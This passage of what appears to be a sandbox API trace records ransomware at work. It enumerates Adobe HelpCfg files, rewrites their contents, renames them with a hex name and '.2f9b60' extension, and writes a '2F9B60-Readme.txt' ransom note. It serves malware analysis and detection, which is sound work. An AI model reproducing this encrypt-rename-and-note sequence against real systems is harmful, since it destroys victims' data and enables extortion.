(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058880 [0151.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8682c0 [0151.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425179b0 [0151.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4251b5c0 [0151.593] ReadFile (in: hFile=0x2548, lpBuffer=0x425179b0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f81f6b0, lpOverlapped=0x0 | out: lpBuffer=0x425179b0*, lpNumberOfBytesRead=0x2f81f6b0*=0x15d, lpOverlapped=0x0) returned 1 [0151.593] SetFilePointerEx (in: hFile=0x2548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.593] WriteFile (hFile=0x2548, lpBuffer=0x4251b5c0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f81f6b4, lpOverlapped=0x0) [0192.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139fd0 [0192.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a000 [0192.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a000) returned 1 [0192.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4251b5c0) returned 1 [0192.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425179b0) returned 1 [0192.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0192.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0192.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d730 [0192.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058880 [0192.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8682c0 [0192.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a000 [0192.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a000) returned 1 [0192.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d770 [0192.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a000 [0192.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a030 [0192.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a030) returned 1 [0192.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0192.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0192.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167160 [0192.849] SetFilePointerEx (in: hFile=0x2548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.849] WriteFile (in: hFile=0x2548, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f81f7d0, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2f81f7d0*=0x118, lpOverlapped=0x0) returned 1 [0201.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8270 [0201.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8270) returned 1 [0201.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec8270 [0201.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8240 [0201.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8180 [0201.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8180) returned 1 [0201.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.455] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.455] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.455] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="fc") returned 2 [0201.455] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="78") returned 2 [0201.455] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="58") returned 2 [0201.455] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.455] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="09") returned 2 [0201.455] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="8d") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="65") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="fa") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.455] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="60") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="01") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="72") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="94") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="68") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="45") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="53") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="41") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="48") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="98") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="61") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="38") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="38") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="cc") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="44") returned 2 [0201.456] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.456] RtlInitAnsiString (in: DestinationString=0x2f81f848, SourceString="a65cfc78584f098d3bee65fa8baaf1cef560017294684553415b4898618b38f238ccf1bd449e" | out: DestinationString="a65cfc78584f098d3bee65fa8baaf1cef560017294684553415b4898618b38f238ccf1bd449e") [0201.456] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f81f818, SourceString="a65cfc78584f098d3bee65fa8baaf1cef560017294684553415b4898618b38f238ccf1bd449e", AllocateDestinationString=1 | out: DestinationString="a65cfc78584f098d3bee65fa8baaf1cef560017294684553415b4898618b38f238ccf1bd449e") returned 0x0 [0201.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a7010 [0201.457] wcscat (in: _Dest=0x431a6f60, _Source="a65cfc78584f098d3be" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be" [0201.457] wcscat (in: _Dest=0x431a6f60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be.2f9b60" [0201.457] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be.2f9b60", NtPathName=0x2f81f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\a65cfc78584f098d3be.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310ada0 [0205.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ada0) returned 1 [0205.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43208bc0) returned 1 [0205.804] NtQueryInformationFile (in: FileHandle=0x2548, IoStatusBlock=0x2f81f858, FileInformation=0x2f81f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f81f858, FileInformation=0x2f81f868) returned 0x0 [0205.804] NtSetInformationFile (FileHandle=0x2548, IoStatusBlock=0x2f81f858, FileInformation=0x2f81f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6f60) returned 1 [0208.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7010) returned 1 [0208.630] FlushFileBuffers (hFile=0x2548) returned 1 [0208.631] CloseHandle (hObject=0x2548) returned 1 [0211.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187d00 [0211.522] wcscpy (in: _Dest=0x43187d00, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" [0211.522] wcscat (in: _Dest=0x43187d00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\2F9B60-Readme.txt" [0211.522] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\2f9b60-readme.txt")) returned 0xffffffff [0211.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f0 [0216.403] WriteFile (in: hFile=0x14f0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f81f710, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f81f710*=0xba9, lpOverlapped=0x0) returned 1 [0220.299] CloseHandle (hObject=0x14f0) returned 1 [0223.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187d00) returned 1 [0223.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205090d0) returned 1 [0223.978] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0223.978] FindClose (in: hFindFile=0x1b858670 | out: hFindFile=0x1b858670) returned 1 [0223.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56a40) returned 1 [0223.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0223.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 Thread: id = 1948 os_tid = 0x113c [0135.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79de70 [0135.669] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0135.669] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" [0135.669] wcscat (in: _Dest=0x1b79de70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*" [0135.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57b50 [0135.669] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858cd0 [0135.671] wcscmp (_String1=".", _String2=".") returned 0 [0135.671] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.671] wcscmp (_String1="..", _String2=".") returned 1 [0135.671] wcscmp (_String1="..", _String2="..") returned 0 [0135.671] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.671] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.671] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508f90 [0135.672] wcscpy (in: _Dest=0x20508f90, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0135.672] wcscat (in: _Dest=0x20508f90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" [0135.672] wcscat (in: _Dest=0x20508f90, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" [0151.594] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\reader_10.0.helpcfg")) returned 0x20 [0151.594] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0151.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x254c [0151.595] GetFileSizeEx (in: hFile=0x254c, lpFileSize=0x2e23f640 | out: lpFileSize=0x2e23f640*=349) returned 1 [0151.595] SetFilePointerEx (in: hFile=0x254c, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.595] ReadFile (in: hFile=0x254c, lpBuffer=0x2e23f5c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e23f608, lpOverlapped=0x0 | out: lpBuffer=0x2e23f5c0*, lpNumberOfBytesRead=0x2e23f608*=0x4, lpOverlapped=0x0) returned 1 [0151.596] SetFilePointerEx (in: hFile=0x254c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa20 [0151.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffab0 [0151.597] NtQuerySystemTime (in: CurrentTime=0x2e23f500 | out: CurrentTime=0x2e23f500*=132462177568030000) returned 0x0 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x330bad81 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5f618929 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x7dc88c4f [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5aeedba9 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x4e2cab0a [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x22963bb7 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x6930497e [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5317876a [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x69961821 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x1229ea8 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5a2037fa [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x440076f6 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x7a685b1d [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x41446dae [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5e39e3e1 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x5b23f0b5 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x19a41518 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x6bc334e5 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x2817922e [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0xc9e619c [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x6282cbcb [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x19e555e [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x203822fd [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x41cd92e4 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x612afd1b [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x8dca0b8 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x7e935425 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x3dd50699 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0xe965ebf [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x6c1355e5 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x32768410 [0151.597] RtlRandomEx (in: Seed=0x2e23f4f0 | out: Seed=0x2e23f4f0) returned 0x116fcce1 [0151.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffae0 [0151.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0151.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb10 [0151.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0151.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffab0) returned 1 [0151.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420588d0 [0151.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0151.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4251f1d0 [0151.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42522de0 [0151.607] ReadFile (in: hFile=0x254c, lpBuffer=0x4251f1d0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2e23f4f0, lpOverlapped=0x0 | out: lpBuffer=0x4251f1d0*, lpNumberOfBytesRead=0x2e23f4f0*=0x15d, lpOverlapped=0x0) returned 1 [0151.607] SetFilePointerEx (in: hFile=0x254c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.607] WriteFile (in: hFile=0x254c, lpBuffer=0x42522de0*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2e23f4f4, lpOverlapped=0x0 | out: lpBuffer=0x42522de0*, lpNumberOfBytesWritten=0x2e23f4f4*=0x15d, lpOverlapped=0x0) returned 1 [0162.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0162.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0162.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0162.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42522de0) returned 1 [0162.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4251f1d0) returned 1 [0162.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0162.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420588d0) returned 1 [0162.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fc70 [0162.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420588d0 [0162.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0162.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0162.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0162.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9e8f0 [0162.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0162.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0162.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0162.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0162.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420588d0) returned 1 [0162.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 